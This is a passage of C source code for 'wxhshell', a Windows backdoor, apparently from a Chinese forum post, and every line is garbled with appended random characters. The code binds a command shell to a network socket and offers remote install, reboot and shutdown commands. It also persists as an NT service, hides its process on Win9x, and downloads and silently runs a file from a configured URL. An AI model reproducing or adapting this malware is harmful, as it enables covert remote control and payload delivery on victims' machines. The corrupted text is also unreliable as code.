  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bM]\mo>z<  
  } = > .EDL.  
  else { _ Je k;N  
d4"KM+EP?  
    switch(cmd[0]) { 3kxI'0&T  
  GarPnb  
  // 帮助 0qXkWGB  
  case '?': { SvUC8y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Am~ NBQ7  
    break; xrbDqA.b  
  } |*4)G6J@n  
  // 安装 P8DT2|Z6f]  
  case 'i': { \cq gCab/2  
    if(Install())  3nfw:.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iz'#K?PF_  
    else }D5*   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qaBjV6loy  
    break; &KfRZ`9H  
    } #J AU5d  
  // 卸载 1tvgM !.  
  case 'r': { c5_?jKpl  
    if(Uninstall()) >G`=8Ku  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m?;aTSa  
    else po~l8p>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +MG(YP/ l  
    break; ZyE2=w7n  
    } h1 \)_jxA  
  // 显示 wxhshell 所在路径 *G"vV>OSV  
  case 'p': { tAD{{GW9  
    char svExeFile[MAX_PATH]; hJ8|KPgdw  
    strcpy(svExeFile,"\n\r"); yteJHaq  
      strcat(svExeFile,ExeFile); rvT7 5dV0  
        send(wsh,svExeFile,strlen(svExeFile),0); MpbH!2J  
    break; 8fpaY{]  
    } Xrnxpp!#^D  
  // 重启 iE}jilU  
  case 'b': { S5:`fo^5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {e,m<mAi  
    if(Boot(REBOOT)) hw`+,_ g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6x\+j  
    else { x{u7#s1|/  
    closesocket(wsh); pm<zw-  
    ExitThread(0); {r2-^Q HF  
    } *#j+,q!X  
    break; ~8'4/wh+8  
    } K~nk:}3Ui  
  // 关机 7&G[mOx0  
  case 'd': { wI +oG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c1j)  
    if(Boot(SHUTDOWN)) /ZAS%_as  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Z&6PT7  
    else { Gy36{*  
    closesocket(wsh); t0Q/vp*/  
    ExitThread(0); ~ei\~;n\@  
    } ^6v ob  
    break; O`e0r%SJ  
    } DJ"O`qNV3  
  // 获取shell t?^C9(;6  
  case 's': { >'#G$f  
    CmdShell(wsh); $rf4h]&<  
    closesocket(wsh); dbGW`_zQ4  
    ExitThread(0); ]E90q/s@c  
    break; 84[T!cDk  
  } T2# W=P  
  // 退出 LP bZ.  
  case 'x': { (j-[m\wF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L{$ZL&  
    CloseIt(wsh); >b;fhdd:4  
    break; gBRhO^Sz  
    } )f4D2c&VE  
  // 离开 {N+N4*  
  case 'q': { Z(AI]wk3<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 11}fPWK  
    closesocket(wsh); M-KjRl  
    WSACleanup(); 8;7Y}c  
    exit(1); v#0R   
    break; }fw;{&s{z  
        } GW$ (E*4q  
  } v%3mhk#  
  } 89KX.d  
qPdNI1 |  
  // 提示信息 -X(%K6{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EzY?=<Y(  
} fclmxTy  
  } ~~ ]/<d  
GDC`\cy  
  return; WAiEINQ^)  
} {Q8DPkW  
VAf~,T]Ww  
// shell模块句柄 l)E \mo 8  
int CmdShell(SOCKET sock) bL 5z%bV  
{ ,-Fhb~u  
STARTUPINFO si; #=R)s0j"  
ZeroMemory(&si,sizeof(si)); p~M1}mE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ann!"s_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y'4H8M2?  
PROCESS_INFORMATION ProcessInfo; Iw~3y{\  
char cmdline[]="cmd"; ]H7_bix  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8Dpf{9Y-E  
  return 0; ABEC{3fWpu  
} zcItZP  
}AG$E}~/  
// 自身启动模式 ZjY_AbD  
int StartFromService(void) w[PWJ! <  
{ HbF.doXK  
typedef struct MrjET!`.jC  
{ H n+1I  
  DWORD ExitStatus; ByeyUw  
  DWORD PebBaseAddress; YMP:T?vMVh  
  DWORD AffinityMask; )NZ6!3[@  
  DWORD BasePriority; %>'2E!%  
  ULONG UniqueProcessId; /h%<e  
  ULONG InheritedFromUniqueProcessId; v'*Q[ ('  
}   PROCESS_BASIC_INFORMATION; k%#`{#n i  
VtF^; f  
PROCNTQSIP NtQueryInformationProcess; }(O/y-  
!_s|h@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m` cw:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dz.]5R  
iC&=-$vu  
  HANDLE             hProcess; O z%K*  
  PROCESS_BASIC_INFORMATION pbi; .z+?b8Q\  
%*P59%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o#E 3{zM  
  if(NULL == hInst ) return 0; mnL \c'  
1Nx.aji  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qEKTSet?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HyXw^ +tsj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "!XeK|Wi  
m}0US;c#f  
  if (!NtQueryInformationProcess) return 0; OlhfBu)~  
NAhV8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ed*Cx~rT  
  if(!hProcess) return 0; joDnjz=  
6cSMKbgZJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @lAOi1m,,  
b].:2  
  CloseHandle(hProcess); H[V^wyi'z  
hN c;, 13  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i0,{*LD%^  
if(hProcess==NULL) return 0; ?ECmPS1  
T^N Y|Y/  
HMODULE hMod; sj2v*tFb  
char procName[255]; &/R@cS6}'  
unsigned long cbNeeded; C.s{ &  
@/yRE^c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lDV8<  
g^8dDY[%  
  CloseHandle(hProcess); ]4\^>  
`LH!"M  
if(strstr(procName,"services")) return 1; // 以服务启动 -2|D( sO  
>yUThhJRn  
  return 0; // 注册表启动 V4qHaG  
} b$[_(QUw  
(.P;VH9R\  
// 主模块 y&9S+  
int StartWxhshell(LPSTR lpCmdLine) ?LgR8/Io@5  
{ l9 )iLOj  
  SOCKET wsl; j>eL&.d  
BOOL val=TRUE; MLY19;e  
  int port=0; >1a- }>r  
  struct sockaddr_in door; Vj4 if@Z  
$/],QD_;"  
  if(wscfg.ws_autoins) Install(); wQ!~c2a<8  
~w Dmt  
port=atoi(lpCmdLine); |K'{R'A  
tu77Sb  
if(port<=0) port=wscfg.ws_port; \8Mkb]QA  
[{N i94:d  
  WSADATA data; qLKyr@\'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u_@%}zo?5*  
 wxsJB2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   twt Bt L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lf0/ 0KH  
  door.sin_family = AF_INET; \l{*1lQ`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mW1Sd#0  
  door.sin_port = htons(port); PTA;a 0A  
n)} J<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y 4,2Xs9,  
closesocket(wsl); >NB}Bc  
return 1; {d}-SoxH  
} +^gh3Y  
t2p/NIn  
  if(listen(wsl,2) == INVALID_SOCKET) { ]~8bh*,=  
closesocket(wsl); >?'q P ]  
return 1; zJI/j _~W  
} ,.]e~O4R  
  Wxhshell(wsl); Y:^ =jV7  
  WSACleanup(); !W^2?pqN  
_4o2AS:j  
return 0; 2F!K }aw  
~D@ V@sX  
} ro@Zbm;P  
#i ?@S$  
// 以NT服务方式启动 N$pwTyk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H24g+<Tv  
{ =/6.4;8  
DWORD   status = 0; x~s>  
  DWORD   specificError = 0xfffffff; 98Srn63O  
$2]1 3j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ifTVTd7O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P.qD,$-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M42Zpb].  
  serviceStatus.dwWin32ExitCode     = 0; E=~H,~  
  serviceStatus.dwServiceSpecificExitCode = 0; dr~MyQ  
  serviceStatus.dwCheckPoint       = 0; GOJi/R.{  
  serviceStatus.dwWaitHint       = 0; m8 0+b8b  
)FWF T:P~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >]:R{1h  
  if (hServiceStatusHandle==0) return; qqw6p j  
/T#<g:   
status = GetLastError(); x)"=*Jj  
  if (status!=NO_ERROR) 6i.'S5.  
{ E|97zc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P|h<|Gcp  
    serviceStatus.dwCheckPoint       = 0; OOl{  
    serviceStatus.dwWaitHint       = 0; Z;%  
    serviceStatus.dwWin32ExitCode     = status; IL.Jx:(0  
    serviceStatus.dwServiceSpecificExitCode = specificError; m6 hA,li  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >-X& /i  
    return; ?jqZeO#W7  
  } 7S] h:q%%  
nyQ FS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WcH^bAY6  
  serviceStatus.dwCheckPoint       = 0; <$?:|  
  serviceStatus.dwWaitHint       = 0; -mY90]g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +V2a|uvEc  
} rA` zuYo  
LvWU %?  
// 处理NT服务事件,比如:启动、停止 GZZLX19s q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U&u7d$ANP  
{ )[p8  
switch(fdwControl) #> CN,eiZ  
{ 6\5U%~78  
case SERVICE_CONTROL_STOP: OzO_E8Kb\  
  serviceStatus.dwWin32ExitCode = 0; ]XPGlM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d[~c-G6  
  serviceStatus.dwCheckPoint   = 0; |o!<@/iH=  
  serviceStatus.dwWaitHint     = 0; X[@>1tl  
  { * uEU9fX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S BFhC  
  } Y\+^\`Tqu  
  return; ^iV@NVP  
case SERVICE_CONTROL_PAUSE: z7<^aS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N->;q^  
  break; 'Fonn  
case SERVICE_CONTROL_CONTINUE: %i.|bIhmm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WZm^:,  
  break; #jZ:Ex  
case SERVICE_CONTROL_INTERROGATE: uFok'3!g7%  
  break; @J r  
}; <U~P-c tN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q@$1!9m  
} hJ}G5pX  
\&TTe8  
// 标准应用程序主函数 E32z(:7M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r#Pd@SV  
{ 8U;!1!+ 7)  
{;p /V\   
// 获取操作系统版本 z 9D2,N.  
OsIsNt=GetOsVer(); (XW#,=rYk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); spl*[ d  
9&d BL0  
  // 从命令行安装 |HG%o 3E]  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?0?'  
qHKZ5w  
  // 下载执行文件 Yt#($}p  
if(wscfg.ws_downexe) { ko5\*!|:lj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w}YHCh  
  WinExec(wscfg.ws_filenam,SW_HIDE); )j9FB  
} ]$L[3qA.  
+\W"n_PPy  
if(!OsIsNt) { 5vpf;  
// 如果时win9x,隐藏进程并且设置为注册表启动 ITsJjcYw  
HideProc(); JQtH },T r  
StartWxhshell(lpCmdLine); <!+o8z]  
} yjSN;3t71  
else `2@-'/$\I|  
  if(StartFromService()) xS(sRx+A  
  // 以服务方式启动 Ee|@l3)  
  StartServiceCtrlDispatcher(DispatchTable); >N,G@{FR  
else CD[7h  
  // 普通方式启动 #ERn 8k  
  StartWxhshell(lpCmdLine); VLO>{"{'  
:?p{ga9  
return 0; +]>a`~   
}
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只看该作者 1 发表于: 2006-10-10
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